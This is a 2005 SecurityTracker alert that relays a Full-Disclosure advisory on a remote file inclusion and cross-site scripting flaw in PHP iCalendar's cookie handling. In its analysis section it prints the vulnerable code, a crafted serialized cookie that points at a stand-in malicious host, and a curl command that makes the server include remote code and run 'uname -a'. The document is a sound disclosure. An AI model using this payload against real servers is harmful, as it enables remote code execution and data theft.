PHP iCalendar Input Validation Holes Permit Remote Code Execution and Cross-Site Scripting Attacks
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SecurityTracker Alert ID: 1015102
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SecurityTracker URL: http://securitytracker.com/id?1015102
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Oct 25 2005
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Impact: Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information, User access via network
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Fix Available: Yes
Exploit Included: Yes
Vendor Confirmed: Yes
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Version(s): 2.0a2, 2.0b, 2.0c, 2.0.1
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Description: A vulnerability was reported in PHP iCalendar. A remote user can conduct cross-site scripting attacks. A remote user can also execute arbitrary code on the target system.
The 'index.php' script does not properly validate user supplied input in cookies. A remote user can supply a specially crafted 'phpicalendar'
cookie value to cause the system to include and execute arbitrary PHP code located on a remote system.
A remote user can also
conduct cross-site scripting attacks.
The vendor was notified on October 25, 2005.
Francesco 'aScii' Ongaro discovered this
vulnerability.
The original advisory is available at:
http://www.ush.it/2005/10/25/php-icalendar-css/
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Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target
web service.
A remote user can access the target user's cookies (including authentication cookies), if any, associated with the
site running the PHP iCalendar software, access data recently submitted by the target user via web form to the site, or take actions
on the site acting as the target user.
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Solution: The vendor has issued a fix, available via CVS.
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Vendor URL: www.phpicalendar.net/ (Links to External Site)
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Cause: Input validation error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Reported By: ascii <ascii@katamail.com>
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Message History:
None.
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Source Message Contents
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Date: Tue, 25 Oct 2005 15:31:29 +0200
From: ascii <ascii@katamail.com>
Subject: [Full-disclosure] PHP iCalendar CSS
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PHP iCalendar CSS
Name Cross-Site-Scripting Vulnerabilities in PHP iCalendar
Systems Affected PHP iCalendar 2.0a2, 2.0b, 2.0c, 2.0.1
Severity Medium Risk
Vendor http://www.phpicalendar.net
Advisory http://www.ush.it/2005/10/25/php-icalendar-css/
Additional (it) http://www.ush.it/team/ascii/hack-PHP-iCalendar/adv.txt
Author Francesco 'aScii' Ongaro (ascii at katamail . com)
Date 20051023
I. BACKGROUND
PHP iCalendar is a php calendar, more information is available at the
vendor site.
II. DESCRIPTION
PHP iCalendar is vulnerable to Cross Site Scripting cause of a wrong
input validation in index.php and will include an arbitrary file
ending with .php.
The vulnerable code is:
> config.inc.php
$printview_default = 'no';
> index.php
if (isset($_COOKIE['phpicalendar'])) {
$phpicalendar = unserialize(stripslashes($_COOKIE['phpicalendar']));
$default_view = $phpicalendar['cookie_view'];
if ($printview_default == 'yes') {
$printview = $default_view;
$default_view = "print.php";
} else {
$default_view = "$default_view".".php";
include($default_view);
As you can see there is no input validation at all.
III. ANALYSIS
This vulnerability can be exploited using an hand-crafted cookie with
the right serialized array inside.
a:1:{s:11:"cookie_view";s:23:"http://www.mali.cious/script";}
curl http://www.vic.tim/path/ -b 'phpicalendar=a%3A1%3A%7Bs%3A11%3A%22cook
ie_view%22%3Bs%3A34%3A%22http%3A%2F%2Fwww.
ush.it%2Fteam%2Fascii%2F-----%22%3B%7D' -d 'user=uname -a'
IV. DETECTION
PHP iCalendar 2.0a2, 2.0b, 2.0c, 2.0.1 are vulnerable.
V. WORKAROUND
Input validation or header location will fix the vulnerability.
PHP no remote fopen and open basedir will play also (if not..).
VI. VENDOR RESPONSE
Vendor fixed the bug in the cvs tree, not verified.
http://www.ush.it/team/ascii/hack-PHP-iCalendar/mail1.txt
http://www.ush.it/team/ascii/hack-PHP-iCalendar/mail2.txt
VII. CVE INFORMATION
No CVE at this time.
VIII. DISCLOSURE TIMELINE
20051023 Bug discovered
20051024 Working exploit written
20051025 Sikurezza.org notification
20051025 Initial vendor notification
20051025 Initial vendor response
20051025 Vendor CVS fix
20051025 Public disclosure
IX. CREDIT
ascii is credited with the discovery of this vulnerability.
X. LEGAL NOTICES
Copyright (c) 2005 Francesco 'aScii' Ongaro
Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
written consent. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email me for permission.
Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.
_______________________________________________
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Charter: http://lists.grok.org.uk/full-disclosure-charter.html
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